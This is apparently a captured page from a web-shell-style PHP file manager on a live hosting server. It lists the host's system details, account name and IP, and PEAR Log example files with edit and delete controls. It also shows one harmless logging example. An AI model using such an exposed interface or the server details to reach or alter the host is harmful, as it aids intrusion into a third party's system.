[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
cpanel-php84-log
/
examples
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 composite.php
302 B
SET
[ EDIT ]
|
[ DEL ]
📄 console.php
148 B
SET
[ EDIT ]
|
[ DEL ]
📄 display.php
270 B
SET
[ EDIT ]
|
[ DEL ]
📄 error_log.php
168 B
SET
[ EDIT ]
|
[ DEL ]
📄 file.php
210 B
SET
[ EDIT ]
|
[ DEL ]
📄 firebug.php
208 B
SET
[ EDIT ]
|
[ DEL ]
📄 mail.php
220 B
SET
[ EDIT ]
|
[ DEL ]
📄 null.php
132 B
SET
[ EDIT ]
|
[ DEL ]
📄 observer_mail.php
672 B
SET
[ EDIT ]
|
[ DEL ]
📄 pear_error_handler.php
619 B
SET
[ EDIT ]
|
[ DEL ]
📄 php_error_handler.php
767 B
SET
[ EDIT ]
|
[ DEL ]
📄 sql.php
214 B
SET
[ EDIT ]
|
[ DEL ]
📄 sqlite.php
482 B
SET
[ EDIT ]
|
[ DEL ]
📄 syslog.php
155 B
SET
[ EDIT ]
|
[ DEL ]
📄 win.php
202 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: php_error_handler.php
<?php require_once 'Log.php'; function errorHandler($code, $message, $file, $line) { global $logger; /* Map the PHP error to a Log priority. */ switch ($code) { case E_WARNING: case E_USER_WARNING: $priority = PEAR_LOG_WARNING; break; case E_NOTICE: case E_USER_NOTICE: $priority = PEAR_LOG_NOTICE; break; case E_ERROR: case E_USER_ERROR: $priority = PEAR_LOG_ERR; break; default: $priotity = PEAR_LOG_INFO; } $logger->log($message . ' in ' . $file . ' at line ' . $line, $priority); } $logger = Log::singleton('console', '', 'ident'); set_error_handler('errorHandler'); trigger_error('This is an information log message.', E_USER_NOTICE);